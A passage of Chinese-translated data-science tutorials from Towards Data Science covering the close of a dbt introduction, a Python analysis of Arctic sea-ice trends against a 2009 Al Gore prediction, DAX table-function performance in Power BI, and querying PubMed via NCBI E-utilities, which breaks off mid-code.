分析工程师是能够帮助数据团队扩展和加快速度的人。但要做到这一点,他们还需要利用能够帮助他们完成工作的工具。数据构建工具(dbt)就是终极的分析工程工具。
dbt 是一个用于以可扩展且成本效益高的方式构建和管理数据模型的工具。dbt 可以为你处理所有模型之间的依赖关系,而无需花时间弄清楚模型必须按什么顺序执行。此外,它还提供了支持数据质量测试、新鲜度测试和文档编制等功能。
为了更好地理解 dbt 的作用,重要的是要可视化更广泛的背景,看看它在现代数据栈中所处的位置。dbt 实际上位于 ELT 管道中的 T 层,转换在原始数据所在的数据仓库中进行。
使用 dbt 对数据仓库中的原始数据进行转换——来源:作者
dbt 是一个CLI(命令行接口)工具,使分析工程团队能够部署和管理数据模型,遵循软件工程的最佳实践。这些实践包括支持多个环境(开发和生产)、版本控制和 CI/CD(持续集成和持续开发)。数据模型可以用 SQL(jinja 模板)编写,但工具的最新版本也支持使用 Python 定义模型!
最后的想法...
分析工程是数据工程和数据分析交汇处的新兴领域,旨在加快分析产品的开发,提高数据质量,并增强数据的可信度。促进数据产品生命周期的主要工具是 dbt,它极大地改变了数据团队的工作和协作方式。因此,熟悉它非常重要,因为它将在长期内存在。
在即将发布的文章中,我们将更专注于 dbt 以及如何有效地使用它来构建和管理数据模型。因此,请确保订阅,以便在文章发布时收到通知!
使用 Python 分析北极冰趋势
原文:
towardsdatascience.com/analyze-arctic-ice-trends-with-python-581ba4423416
探索过去的预测
·发表在Towards Data Science ·阅读时间 7 分钟·2023 年 6 月 27 日
--
倾斜的冰岛冰山(图源:作者)
测量是所有科学的基石。没有它,我们如何测试我们的假设?
作为数据科学的首选编程语言,Python 使得收集、清理和理解测量数据变得容易。借助 Python,我们可以回测预测,验证模型,并追究预言者的责任。
去年,一个过时的网络迷因在我的 LinkedIn 动态中出现,标记有“#灾难化”的标签。内容是关于他在 2007 年和 2009 年提出的北极海在七年内将无夏季冰的评论。一些事实核查网站将这一说法验证为“基本真实”,并引用了以下引用:
“一些模型表明,Wieslav Maslowski 博士认为,在接下来的五到七年内,整个北极冰盖在某些夏季月份可能会完全无冰,概率为 75%。”
- 阿尔·戈尔,2009 年 12 月
虽然许多人对网络迷因视而不见,但数据科学家能够深入探讨数据并得出自己的结论。在这个快速成功的数据科学项目中,我们将使用 Python 的 pandas 和 Matplotlib 库来审视过去四十年北极海冰的行为,并对评论和迷因进行检验。
关于气候变化的评论
请注意,这既不是一篇反对气候变化的文章,也不是支持气候变化的文章,而是一篇支持数据的文章。无论你对人为气候变化的看法如何,我希望你同意验证模型和确认预测对每个人都至关重要。
同样重要的是,关键主题的思想领袖应避免做出易被驳斥的夸张或轻率的声明。这不仅会损害可信度,还会使话题政治化,使得理性的讨论变得困难,甚至不可能。
在这种情况下,艾尔·戈尔明智地用概率和“建议”和“可能”等词语来缓和他的评论。不幸的是,这些缓和在制作表情包时容易被误用。
国家雪冰数据中心
为了确认或驳斥戈尔的“预测”,我们需要知道在相关时间段内的最*海冰范围。幸运的是,我们可以访问由国家雪冰数据中心提供的全面公共数据集,该中心是科罗拉多大学博尔德分校环境科学合作研究所(CIRES)的一部分。此数据集利用卫星图像追踪和监测北极海冰的变化。
基于卫星图像的 2022 年 9 月海冰范围(感谢国家雪冰数据中心,科罗拉多大学博尔德分校 [1])
数据以月度和日度增量提供。通常,月度总数推荐用于观察海冰趋势。然而,为了确保我们捕捉到每个月的最*测量范围,我们将使用每日数据,并选择最低值的那一天来代表整个月。
虽然按日增量的数据集可以通过提供的链接以 CSV 格式访问,但我已经准备好了文件,并将其存储在这个代码片段中以便使用。
为了解决当前的问题,我们将使用 pandas 准备数据,并使用 Matplotlib 绘制折线图。我们将绘制所有数据,但主要关注每个夏季发生的最*值。
代码
以下代码被输入到 JupyterLab 中,并按单元描述。
导入库
对于这个项目,我们只需要 Matplotlib 和 pandas 这两个稳固的库。你可以使用 conda 安装它们:
conda install matplotlib pandas
和使用 pip:
pip install matplotlib
pip install pandas
Matplotlib 的 mdates
模块将帮助我们在图表上标注戈尔提出无冰北极海的时间跨度。以下是导入的库:
import pandas as pd
import matplotlib.pyplot as plt
import matplotlib.dates as mdates
加载和准备数据
以下注释的代码使用 pandas 库从 Gist 中加载数据,并为绘图做准备。此外,它生成了年度移动平均值,以捕捉测量中的长期趋势。
# Read the data:
URL = 'https://bit.ly/3NLoDzx'
df = pd.read_csv(URL, skiprows=[1])
# Remove leading whitespace from the column names:
df.columns = df.columns.str.strip()
# Drop unnecessary columns:
df = df.drop(df.columns[[4, 5]], axis=1)
# Group by monthly MINIMUM ice extent:
df = df.groupby(['Year', 'Month']).agg({'Extent': ['min']}).reset_index()
# Create a 'date' column from the 'Year' and 'Month' columns:
cols = ['Year', 'Month']
df['date'] = df[cols].apply(lambda x: '-'.join(x.values.astype(str)),
axis="columns")
df['date'] = pd.to_datetime(df['date'])
# Set the 'date' column as the DataFrame index:
df = df.set_index(df['date'])
# Drop unnecessary year, month, and date columns:
df = df.drop(df.columns[[0, 1, 3]], axis=1)
# Calculate the yearly moving average:
df['yearly_ma'] = df.Extent.rolling(12).mean()
# Check the results:
df.tail(3)
DataFrame 的末尾(作者提供的图片)
绘制数据
以下注释的代码绘制了每月最低冰面数据和年度移动平均值的折线图。阿尔·戈尔 2009 年言论后的七年期用红色突出显示并标记为“戈尔的接下来 7 年”。
# Create the plot:
fig, ax = plt.subplots(figsize=(12, 6))
ax.set_title('Arctic Sea Ice Monthly MINIMUM Extent', size=15)
ax.plot(df['Extent'], lw=2)
ax.plot(df['yearly_ma'], color='k')
ax.set_ylim([0, 20])
ax.tick_params(axis='both',
which='major',
labelsize=12)
ax.grid()
# Add a legend:
ax.legend(['Ice Extent (10⁶ sq km)', 'Yearly Moving Ave'],
frameon=True,
loc=3,
prop={'size': 14},
facecolor='#a1c9f4',
edgecolor='k',
fancybox=True,
shadow=True,
framealpha=1)
# Add a shaded span for Gore's prediction:
ax.axvspan(*mdates.datestr2num(['2009-12-14', '2016-1-1']),
color='red',
alpha=0.3)
# Annotate the 7-year span referenced by Gore in 2009:
ax.text(0.655, 0.8,
"Gore's Next 7 Years",
transform=ax.transAxes,
fontsize=14)
# Set the x and y labels:
font1 = {'family': 'arial',
'color': 'black',
'size': 15}
ax.set_xlabel('Year', fontdict=font1)
ax.set_ylabel('Arctic Sea Ice Extent (10⁶ sq km)',
fontdict=font1)
plt.show()
最终的线图(作者提供的图片)
图中锯齿状的蓝线跟踪了每个月北极海冰的最低冰面。每次波动的峰值代表冬季最低冰面(通常在 3 月最高)。每次波动的低谷代表夏季最低冰面(通常在 9 月最低)。黑线是年度移动平均值,它滤除了季节性“噪声”,显示了 44 年期间海冰面积的整体趋势。
由于我们使用的是每月记录的最低值,而不是更典型的月平均值或中位数值,因此这个图可能与您在网上找到的其他图有所不同。
结果
在 2009 年后的七年里,北极海并未变成无冰状态,尽管在 2012 年 9 月 16 日达到了 334 万平方公里的新低。这比 1981 年 9 月的低点 690 万平方公里以及 2009 年的低点 500 万平方公里要低得多。实际上,从 2009 年到 2012 年,冰面面积有一个稳定的下降趋势。
2012 年之后,数值似乎有所稳定,到 2021 年夏季,移动平均曲线实际上在上升。
虽然阿尔·戈尔并没有“说对”,但他的声明确实留出了实际结果的空间。他引用的模型包括了 25% 的可能性,即部分冰层将在北极海过夏季时依然存在。
我们应该从中学到的一点是,地球气候是一个复杂的系统。关于其行为的具体和短期预测应非常谨慎。虽然制造紧迫感可能很重要,但这很容易适得其反,导致嘲笑和信誉下降。
引用
[1] Fetterer, F., K. Knowles, W. N. Meier, M. Savoie, 和 A. K. Windnagel. Sea Ice Index, Version 3. 2017,由国家雪冰数据中心分发。 doi.org/10.7265/N5K072F8
。访问日期 06–18–2022。
这个项目的具体数据来源网站是 nsidc.org/data/nsidc-0081.html
和 nsidc.org/data/nsidc-0051.html
(数据范围:1978 年 10 月至 2022 年 6 月)。
关于数据的更多详细信息列在下面的表格中:
NSIDC 海冰指数 v3 数据表(由科罗拉多大学博尔德分校国家雪冰数据中心提供)
根据 NSIDC 的引用政策,除非特别说明使用限制,否则可以下载和使用 NSIDC 网站上的照片、图像或文本。卫星图像可以免费下载并使用,但需正确注明来源。除非另有说明,照片和图像可以用于商业目的;但不能重新销售。
许多网站上的图像都附有标题和具体的版权信息。否则,通用的版权格式应为:“图像/照片由科罗拉多大学博尔德分校国家雪冰数据中心提供。”
谢谢!
感谢阅读,请关注我获取更多未来的快速成功数据科学项目。
分析在 Power BI 和 DAX 查询中聚合数据的性能
我们在 Power BI 中经常聚合数据。有时我们需要手动查询数据模型,或者在度量中需要中间表。让我们看看如何做到这一点。
·发布于 Towards Data Science ·8 分钟阅读·2023 年 5 月 1 日
--
Isaac Smith 拍摄的照片,来源于 Unsplash
介绍
你是否曾经问过自己:
Power BI 视觉效果背后发生了什么?
或者
我如何编写查询以获得在 Power BI 视觉效果中显示的结果?
好吧,你可以用性能分析器捕捉查询,并将查询复制到文本编辑器中,或者更好地使用 DAX Studio。
但你是否理解查询中发生了什么?
当你查看 DAX 的函数文档时,无论是在 Microsoft DAX 函数参考 还是在 DAX.Guide,你会发现至少有五个函数用于在查询中生成表:
在这篇文章中,我将通过基础查询来设定场景。然后,我将使用不同的函数从头重建查询,并观察这些函数之间的差异。
我将研究功能差异以及在效率和性能方面的差异。
基础查询
让我们从基础查询开始。
查看 Power BI 中的以下矩阵:
图 1 — 起始视觉效果(图由作者提供)
我用 Performance Analyzer 提取了查询,并在移除 Power BI 在计算国家和大陆级别的总数时需要的所有*计内容后,剩下的结果如下:
DEFINE
VAR __DS0FilterTable =
FILTER(
KEEPFILTERS(VALUES('Date'[YearIndex]))
,AND('Date'[YearIndex] >= -3, 'Date'[YearIndex] <= 0)
)
VAR __DS0Core =
SUMMARIZECOLUMNS(
'Geography'[ContinentName]
,'Geography'[RegionCountryName]
,__DS0FilterTable
,"Sum_Online_Sales", 'All Measures'[Sum Online Sales]
)
EVALUATE
__DS0Core
ORDER BY
'Geography'[ContinentName]
,'Geography'[RegionCountryName]
这里的关键函数是 SUMMARIZECOLUMNS()。
这个函数从两个列 [ContinentName] 和 [RegionCountryName] 中获取唯一值,并对每一行执行 Measure [Sum Online Sales],同时应用在 Variable __DS0FilterTable 中定义的过滤器。
在接下来的所有示例中,我将(尝试)保持 __DS0FilterTable 的定义,如上所示。
SELECTCOLUMNS() 和 ADDCOLUMNS()
使用 SELECTCOLUMNS(),我可以将计算列添加到输入表中,例如,通过 Measure。
输入表可以是一个现有的表或表函数的结果。
让我们尝试这个形式:
DEFINE
VAR __DS0FilterTable =
FILTER (
KEEPFILTERS ( VALUES ( 'Date'[YearIndex] ) ),
AND ( 'Date'[YearIndex] >= -3, 'Date'[YearIndex] <= 0 )
)
EVALUATE
SELECTCOLUMNS ('Geography'
,'Geography'[ContinentName]
,'Geography'[RegionCountryName]
,"Sum_Online_Sales", [Sum Online Sales]
)
这是这个查询的结果:
图 2 — ADDCOLUMNS() 的部分结果(作者提供的图)
如你所见,即使我仅为查询选择了两列,我仍然从地理表中获得了所有行,包括那些没有结果的行。
我想要其他东西。
另一个问题是,使用 SELECTCOLUMNS() 时,我不能引入上面的过滤器。
不管怎样,查看服务器时间,这个查询看起来还不错:
图 3 — ADDCOLUMNS() 的服务器时间(作者提供的图)
大部分工作在存储引擎中完成,并且并行度接近 7.5,非常出色。
当将结果复制到 Excel 时,我们可以毫无问题地删除空行。
SELECTCOLUMNS() 与 ADDCOLUMNS() 非常相似。
根据 DAX.guide,区别在于 SELECTCOLUMNS() 从一个空表开始,然后添加给定的列,而 ADDCOLUMNS() 从所有输入表列开始。
当我们尝试这个查询时:
EVALUATE
ADDCOLUMNS('Geography'
,"Sum_Online_Sales", [Sum Online Sales]
)
我们得到一个包含所有地理表列的表,并且对于每一行,计算 Measure 的结果。
我需要特定的函数来创建一个表,因为我只能定义一个输入表。
我将在本文后面回到这个问题。
SUMMARIZE()
函数 SUMMARIZE() 允许我获取一个总结给定列并添加计算列(例如,通过 Measure)的表。
基于上面的示例,查询将如下所示:
EVALUATE
SUMMARIZE( 'Geography'
,'Geography'[ContinentName]
,'Geography'[RegionCountryName]
,"Sum_Online_Sales", [Sum Online Sales]
)
再次,我们不能在这个查询中添加过滤器。
所以,我们将获取所有年份的结果:
图 4 — 使用 SUMMARIZE() 的结果(作者提供的图)
但再一次,我将得到所有国家的列表,包括那些没有值的。
服务器时间看起来也不错:
图 5 — SUMMARIZE() 的服务器时间(作者提供的图)
但在使用 SUMMARIZE() 函数时存在一些问题。
你可以在下面的参考部分找到描述这些问题的文章。
现在,我将向你展示如何使用正确的形式完成任务。
SUMMARIZECOLUMNS()
SUMMARIZECOLUMNS() 函数将 ADDCOLUMN() 和 SUMMARIZE() 的优点结合成一个强大的函数。
我可以将多个列传递给用作汇总列的函数并添加计算列。我也可以向该函数传递筛选器。
看看这个例子:
DEFINE
VAR __DS0FilterTable =
FILTER (
KEEPFILTERS ( VALUES ( 'Date'[YearIndex] ) ),
AND ( 'Date'[YearIndex] >= -3, 'Date'[YearIndex] <= 0 )
)
EVALUATE
SUMMARIZECOLUMNS(
'Geography'[ContinentName]
,'Geography'[RegionCountryName]
,__DS0FilterTable
,"Sum_Online_Sales", [Sum Online Sales]
)
ORDER BY 'Geography'[ContinentName]
,'Geography'[RegionCountryName]
当你查看本文开头的查询时,你会发现正是这个查询。
结果如下:
图 6 — 使用 SUMMARIZECOLUMNS() 的结果(作者提供的图)
这是我们期望的查询结果。
服务器时间令人印象深刻:
图 7 — SUMMARIZECOLUMNS() 的服务器时间(作者提供的图)
完成了,不是吗?
照片由 Zac Durant 提供,来源于 Unsplash
不,稍等一下。
如果我尝试在上述查询中添加筛选器以将数据限制为一年会怎么样?
结果是,我无法这样做,我只能将一个表作为筛选器传递给 SUMMARIZECOLUMNS()。
CALCULATETABLE()
CALCULATETABLE() 与其他三个函数不同。
我可以像使用 CALCULATE() 一样使用 CALCULATETABLE()。但我将表作为第一个参数,而不是聚合函数或其他度量。然后,我可以将筛选器作为附加参数添加。
那么,让我们尝试将上一个查询的结果限制为一年:
EVALUATE
CALCULATETABLE(SUMMARIZECOLUMNS(
'Geography'[ContinentName]
,'Geography'[RegionCountryName]
,"Sum_Online_Sales", [Sum Online Sales]
)
,'Date'[Year] = 2023
)
ORDER BY 'Geography'[ContinentName]
,'Geography'[RegionCountryName]
如你所见,我将 SUMMARIZECOLUMNS() 函数作为 CALCULATETABLE() 的输入,并在查询中添加了列筛选器。
结果如下:
图 8 — 使用 CALCULATETABLE() 的结果(作者提供的图)
服务器时间非常高效,仅需一个 SE 查询:
图 9 — CALCULATETABLE() 的服务器时间(作者提供的图)
CALCULATETABLE() 可以将整个 DAX 查询合并为一个 SE 查询,使其非常高效。
但不要指望 CALCULATETABLE() 总是能提高效率。稍后,我们将看到一个示例,其中这个函数没有达到相同的效果。
组合函数
生成所需结果的另一种方法是将 ADDCOLUMNS() 和 SUMMARIZE() 函数结合使用,如 SQLBI 发布的文章中所述(参见下面的参考部分)。
DEFINE
VAR __DS0FilterTable =
FILTER (
KEEPFILTERS ( VALUES ( 'Date'[YearIndex] ) ),
AND ( 'Date'[YearIndex] >= -3, 'Date'[YearIndex] <= 0 )
)
EVALUATE
ADDCOLUMNS(
SUMMARIZE('Geography'
,'Geography'[ContinentName]
,'Geography'[RegionCountryName]
)
,"Sum_Online_Sales", CALCULATE([Sum Online Sales]
,KEEPFILTERS(__DS0FilterTable)
)
)
ORDER BY 'Geography'[ContinentName]
,'Geography'[RegionCountryName]
请注意我如何将度量添加到结果中。我使用 CALCULATE 来包含使用 KEEPFILTERS() 的筛选表。必须这样做,否则结果将是错误的。
再次,请阅读下面的 SQLBI 文章,以准确解释为什么这样做是必要的。
结果中的值是正确的,但我们再次看到所有国家,而不仅仅是有结果的国家:
图 10 — 结合 ADDCOLUMNS 和 SUMMARIZE 的结果(作者提供的图)
当我们查看服务器时间时,我们会发现 DAX 需要三个 SE 查询来完成这个查询:
图 11 — 结合 ADDCOLUMNS() 和 SUMMARIZE() 的服务器时间(作者提供的图)
另一种方法是使用 CALCULATETABLE() 引入过滤器:
DEFINE
VAR __DS0FilterTable =
FILTER (
KEEPFILTERS ( VALUES ( 'Date'[YearIndex] ) ),
AND ( 'Date'[YearIndex] >= -3, 'Date'[YearIndex] <= 0 )
)
EVALUATE
CALCULATETABLE(
ADDCOLUMNS(
SUMMARIZE('Geography'
,'Geography'[ContinentName]
,'Geography'[RegionCountryName]
)
,"Sum_Online_Sales", [Sum Online Sales]
)
,__DS0FilterTable
)
ORDER BY 'Geography'[ContinentName]
,'Geography'[RegionCountryName]
结果仍然是相同的,服务器时间没有得到改善。
这证明了 CALCULATETABLE() 只是有时能提高效率。但它可以使查询更具可读性,而不是使用 KEEPFILTERS(),对于 KEEPFILTERS() 的所有效果我仍然难以理解。
结论
SELECTCOLUMNS()/ADDCOLUMNS() 是向表中添加计算列的良好起点。
但是我需要 SUMMARIZE()/SUMMARIZECOLUMNS() 仅对选定的列进行汇总,并能够向结果中添加计算列。
但是当我们想要向表表达式添加过滤器时,SUMMARIZE() 的能力有所减少。
在这种情况下,SUMMARIZECOLUMNS() 是正确的函数。
即使我需要 CALCULATETABLE() 来向查询添加某些类型的过滤器(例如,对单列的过滤器)。
在我的工作中,我总是需要编写查询来将结果与源系统中的数据进行比较,以验证结果。
通过查询和相应结果来记录验证要比截取 Power BI 中设置特定结果的所有过滤器的屏幕截图并从可视化中导出数据要容易得多。
当你希望自动生成一个报告并自动执行并发送给用户时,查询是非常有用的。
在某些情况下,编写查询比在 Power BI 中直接操作要更为合适。
我希望我能激发你探索 DAX 查询的可能性。
Casey Horner 在 Unsplash 提供的照片
参考文献
如果你想了解更多关于在 DAX Studio 中测量性能的内容,请阅读以下文章:
## 如何使用 DAX Studio 从 Power BI 获取性能数据
有时我们会遇到运行缓慢的报告,需要找出原因。我们将学习如何收集性能数据以及……
在 Articles — SQLBI 上,你可以找到关于这些函数的更多深入文章以及为什么要选择一个函数而不是另一个。
例如,SUMMARIZE() 函数的问题在这里有记录:
我使用 Contoso 示例数据集,就像我之前的文章中一样。你可以从 Microsoft 这里 免费下载 ContosoRetailDW 数据集。
Contoso 数据可以在 MIT 许可证下自由使用,如 此处 所述。
我扩大了数据集,以使 DAX 引擎更加高效地工作。
在线销售表包含 7100 万行(而不是 1260 万行),零售销售表包含 1850 万行(而不是 340 万行)。
[## 使用我的推荐链接加入 Medium - Salvatore Cagliari
阅读 Salvatore Cagliari 的每一个故事(以及 Medium 上成千上万其他作者的故事)。你的会员费用直接...
medium.com](https://medium.com/@salvatorecagliari/membership?source=post_page-----fc00027950a3--------------------------------)
用 E-utilities 和 Python 分析科学出版物
如何收集科学文献数据并发现趋势
·
关注 发布于 Towards Data Science · 15 分钟阅读 · 2023 年 5 月 19 日
--
图片来源:Alex Block 摄影于 Unsplash
跟上科学研究趋势对于任何科学家、科学作家或有志于创办初创企业的人都至关重要。谈到搜索生物医学科学文献,大多数人会转向 Google Scholar、PubMed 或他们喜欢的参考管理工具。正如你可能预期的,这些面向公众的搜索工具提供了易用性,但牺牲了效率、控制和可扩展性。因此,它们通常在数据科学中并不实用。相反,你将需要使用由国家生物技术信息中心(NCBI)提供的 E-utilities。[1] NCBI 提供的科学文章存储在 PubMed 数据库中,该数据库主要涵盖生命科学研究,但也包括一些化学和物理相关的期刊。[2]
对于数据科学应用,基于网页的搜索引擎和流行的参考管理工具无法满足需求。
关于如何高效使用 NCBI 进行数据科学的信息散布在各种政府和学术网站上。许多资源上传于 1990 年代,集中于遗传序列的搜索而非原始文献出版物,并且代码示例仅用 Perl 编写。曾经有一门关于使用 NCBI E-Utilities 的课程在 2000 年代初由 NIH 主办,Powerpoint“幻灯片集”以及必要的剪贴画插图可在此处获得。在本文中,我将传达我从这些各种来源中编纂的信息以及常规的反复试验中学到的经验。
注意: NCBI 中可搜索的数据类型很多,包括遗传序列、系统发育树、3-D 结构及其他信息。本文将专注于搜索原始 文献。
NCBI 可以回答哪些数据科学问题?
有许多种科学问题可以通过 NCBI 回答。例如,你可以创建一个作者提供的关键词的聚类图,以检查随时间变化的出版趋势,正如我在本文末尾演示的那样。此外,你还可以使用摘要和出版物中的文本构建 LLMs 和 NLP 模型,以帮助在文献之间建立联系。以下是我将在文章中覆盖的三个步骤:
(1) 查询数据库,
(2) 返回多个出版物的结果,以及
(3) 检索相似文章和文章的全文版本。
最后,我将提供一个完整的文档代码示例,展示如何对一个相对较大的语料库(约 10,000 篇文章)进行这三个步骤,并附上数据可视化。
查询 NCBI 数据库
要有效地查询 NCBI 数据库,你需要了解某些 E-utilities,定义你的搜索字段,并选择你的搜索参数——这些参数控制结果如何返回到你的浏览器中,或者在我们的案例中,我们将使用 Python 来查询数据库。
四个最有用的 E-utilities
NCBI 提供了九个 E-utilities,它们都实现为服务器端的快速 CGI 程序。这意味着你将通过创建以.cgi结尾的 URL 来访问它们,并在问号后指定查询参数,参数之间用&符号分隔。除了EFetch之外,它们都会提供XML 或 JSON输出。
**ESearch**
生成符合你搜索查询的 ID 号码列表
以下 E-Utilities 可以与一个或多个 ID 号码一起使用:
-
**ESummary**
期刊、作者列表、资助、日期、参考文献、出版类型 -
**EFetch**
仅 XML,提供**ESummary**
的所有内容,以及摘要、用于研究的资助列表、作者机构和 MeSH 关键词 -
**ELink**
提供与相关引文的链接列表,使用计算出的相似度分数同时提供已发布项目的链接 [你通向文章全文的门户]
NCBI 在其服务器上托管了 38 个数据库,这些数据库涉及各种数据,超出了文献引用的范围。要获取当前数据库的完整列表,你可以使用EInfo而无需搜索词:
[
eutils.ncbi.nlm.nih.gov/entrez/eutils/einfo.fcgi](https://eutils.ncbi.nlm.nih.gov/entrez/eutils/einfo.fcgi)
每个数据库在如何访问及返回的信息方面会有所不同。为了我们的目的,我们将重点关注pubmed和pmc数据库,因为这些是搜索和检索科学文献的地方。
了解搜索 NCBI 的两个最重要的方面是搜索字段和输出。搜索字段种类繁多,将取决于数据库。输出则更为直接,学习如何使用输出是至关重要的,特别是进行大规模搜索时。
搜索字段
你将无法真正利用 E-utilities 的潜力,如果你不了解可用的搜索字段。你可以在NLM 网站上找到这些搜索字段的完整列表及其描述,但要获取特定数据库的最准确搜索词列表,你需要使用这个链接解析自己的 XML 列表:
[
eutils.ncbi.nlm.nih.gov/entrez/eutils/einfo.fcgi?db=pubmed](https://eutils.ncbi.nlm.nih.gov/entrez/eutils/einfo.fcgi?db=pubmed)
db标志设置为数据库(本文将使用pubmed,但文献也可以通过pmc获取)。
用于查询 PubMed MEDLINE 记录的搜索字段列表。(来源:www.nlm.nih.gov/bsd/mms/medlineelements.html
)`
一个特别有用的搜索字段是 Medline 主题词 (MeSH)。索引专家*护 PubMed 数据库,并使用 MeSH 术语来反映期刊文章的主题。每篇被索引的出版物通常由 10 到 12 个由索引专家精心挑选的 MeSH 术语描述。如果未指定搜索词,则查询将针对数据库中所有可用的搜索词执行。
查询参数
每个 E-utility 都通过 URL 行接受多个查询参数,你可以用来控制从查询返回的输出类型和数量。这是你可以设置检索结果数量或搜索日期的地方。以下是一些更重要的参数列表:
数据库参数:
db
应设置为你感兴趣的数据库 — pubmed 或 pmc 用于科学文献
日期参数: 你可以通过使用搜索字段(例如 [pdat] 代表出版日期)来获得对日期的更多控制,但日期参数提供了一种更方便的方式来限制结果。
-
reldate
相对于当前日期的天数,设置 reldate=1 以查询最近的一天 -
mindate
和maxdate
根据格式 YYYY/MM/DD、YYYY 或 YYYY/MM 指定日期 (查询必须同时包含mindate
和maxdate
参数) -
datetype
设置按日期查询时的日期类型 — 选项包括 ‘mdat’(修改日期)、‘pdat’(出版日期)和 ‘edat’(Entrez 日期)
检索参数:
-
rettype
返回的信息类型(对于文献搜索,使用默认设置) -
retmode
输出格式(XML 为默认格式,虽然除 fetch 外的所有 E-utilities 都支持 JSON) -
retmax
是返回记录的最大数量 — 默认值为 20,最大值为 10,000(一万) -
retstart
给定查询的命中列表,retstart
指定索引(当搜索超出一万最大值时很有用) -
cmd
仅与**ELink**
相关,用于指定是否返回类似文章的 IDs 或全文的 URLs
使用 Python 执行查询并存储结果
一旦我们了解了 E-Utilities,选择了搜索字段,并决定了查询参数,我们就准备好执行查询并存储结果 — 甚至是多个页面的结果。
虽然你不需要专门使用 Python 来使用 E-utilities,但它确实使解析、存储和分析查询结果变得更加容易。下面是如何开始你的数据科学项目。
假设你要在 2022 年和 2023 年之间搜索“肌红蛋白”的 MeSH 术语。你现在将 retmax 设置为 50,但请记住 最大值为 10,000,查询速率为 3/s。
import urllib.request
search_url = f'http://eutils.ncbi.nlm.nih.gov/entrez//eutils/esearch.fcgi/' + \
f'?db=pubmed' + \
f'&term=myoglobin[mesh]' + \
f'&mindate=2022' + \
f'&maxdate=2023' + \
f'&retmode=json' + \
f'&retmax=50'
link_list = urllib.request.urlopen(search_url).read().decode('utf-8')
link_list
上述 esearch 查询的输出。
结果以 ID 列表的形式返回,可以在你查询的数据库中进行后续搜索。注意,“count”显示这个查询有 154 个结果,你可以用来获取某组搜索词的总出版物数。如果你想返回所有出版物的 ID,你需要将retmax参数设置为计数值或 154。一般来说,我将其设置为一个非常大的数字,以便能够检索所有结果并进行存储。
在 PubMed 中,布尔搜索很简单,只需在搜索词之间添加+OR+
、+NOT+
或+AND+
到网址中即可。例如:
[http://eutils.ncbi.nlm.nih.gov/entrez//eutils/esearch.fcgi/?db=pubmed&term=**CEO[cois]+OR+CTO[cois]+OR+CSO[cois]**&mindate=2022&maxdate=2023&retmax=10000](http://eutils.ncbi.nlm.nih.gov/entrez//eutils/esearch.fcgi/?db=pubmed&term=CEO%5Bcois%5D+OR+CTO%5Bcois%5D+OR+CSO%5Bcois%5D&mindate=2022&maxdate=2023&retmax=10000)
这些搜索字符串可以使用 Python 构造。在接下来的步骤中,我们将使用 Python 的json 包解析结果,以获取每篇返回出版物的 ID。这些 ID 可以用于创建一个字符串——这个 ID 字符串可以被其他 E-Utilities 使用,以返回关于出版物的信息。
使用 ESummary 来返回关于出版物的信息。
ESummary的目的是返回你可能期望在论文引用中看到的数据(出版日期、页码、作者等)。一旦你获得了ESearch形式的 ID 列表(在上一步中),你可以将这个列表拼接成一个长网址。
URL 的限制是 2048 个字符,每篇出版物的 ID 长度为 8 个字符,因此,为了安全起见,如果你的 ID 列表超过 250 个,你应该将链接列表分成 250 个一批。有关示例,请参见文章底部的笔记本。
ESummary的结果以 JSON 格式返回,并可能包括链接到论文全文的链接。
import json
result = json.loads( link_list )
id_list = ','.join( result['esearchresult']['idlist'] )
summary_url = f'http://eutils.ncbi.nlm.nih.gov/entrez//eutils/esummary.fcgi?db=pubmed&id={id_list}&retmode=json'
summary_list = urllib.request.urlopen(summary_url).read().decode('utf-8')
我们可以再次使用 json 来解析summary_list。使用 json 包时,可以通过 summary[‘result’][id as string]来浏览每篇文章的字段,如下例所示:
summary = json.loads( summary_list )
summary['result']['37047528']
我们可以创建一个数据框架来捕捉每篇文章的 ID,以及期刊名称、出版日期、文章标题、检索全文的网址以及第一作者和最后一作者。
uid = [ x for x in summary['result'] if x != 'uids' ]
journals = [ summary['result'][x]['fulljournalname'] for x in summary['result'] if x != 'uids' ]
titles = [ summary['result'][x]['title'] for x in summary['result'] if x != 'uids' ]
first_authors = [ summary['result'][x]['sortfirstauthor'] for x in summary['result'] if x != 'uids' ]
last_authors = [ summary['result'][x]['lastauthor'] for x in summary['result'] if x != 'uids' ]
links = [ summary['result'][x]['elocationid'] for x in summary['result'] if x != 'uids' ]
pubdates = [ summary['result'][x]['pubdate'] for x in summary['result'] if x != 'uids' ]
links = [ re.sub('doi:\s','http://dx.doi.org/',x) for x in links ]
results_df = pd.DataFrame( {'ID':uid,'Journal':journals,'PublicationDate':pubdates,'Title':titles,'URL':links,'FirstAuthor':first_authors,'LastAuthor':last_authors} )
以下是ESummary返回的所有不同字段的列表,以便你可以创建自己的数据库:
'**uid**','**pubdate**','**epubdate**','**source**','**authors**','**lastauthor**','**title**',
'**sorttitle**','**volume**','**issue**','**pages**','**lang**','**nlmuniqueid**','**issn**',
'**essn**','**pubtype**','**recordstatus**','**pubstatus**','**articleids**','**history**',
'**references**','**attributes**','**pmcrefcount**','**fulljournalname**','**elocationid**',
'**doctype**','**srccontriblist**','**booktitle**','**medium**','**edition**',
'**publisherlocation**','**publishername**','**srcdate**','**reportnumber**',
'**availablefromurl**','**locationlabel**','**doccontriblist**','**docdate**',
'**bookname**','**chapter**','**sortpubdate**','**sortfirstauthor**','**vernaculartitle**'
当你需要摘要、关键词和其他细节(仅限 XML 输出)时,请使用 EFetch。
我们可以使用EFetch返回类似于ESummary的字段,但有个警告是结果仅以 XML 格式返回。EFetch中还有几个有趣的附加字段,包括:摘要、作者选择的关键词、Medline 子标题(MeSH 术语)、资助研究的拨款、冲突声明、研究中使用的化学品列表,以及论文引用的所有参考文献的完整列表。以下是如何使用 BeautifulSoup 获取这些项目的一部分:
from bs4 import BeautifulSoup
import lxml
import pandas as pd
abstract_url = f'http://eutils.ncbi.nlm.nih.gov/entrez//eutils/efetch.fcgi?db=pubmed&id={id_list}'
abstract_ = urllib.request.urlopen(abstract_url).read().decode('utf-8')
abstract_bs = BeautifulSoup(abstract_,features="xml")
articles_iterable = abstract_bs.find_all('PubmedArticle')
# Abstracts
abstract_texts = [ x.find('AbstractText').text for x in articles_iterable ]
# Conflict of Interest statements
coi_texts = [ x.find('CoiStatement').text if x.find('CoiStatement') is not None else '' for x in articles_iterable ]
# MeSH terms
meshheadings_all = list()
for article in articles_iterable:
result = article.find('MeshHeadingList').find_all('MeshHeading')
meshheadings_all.append( [ x.text for x in result ] )
# ReferenceList
references_all = list()
for article in articles_:
if article.find('ReferenceList') is not None:
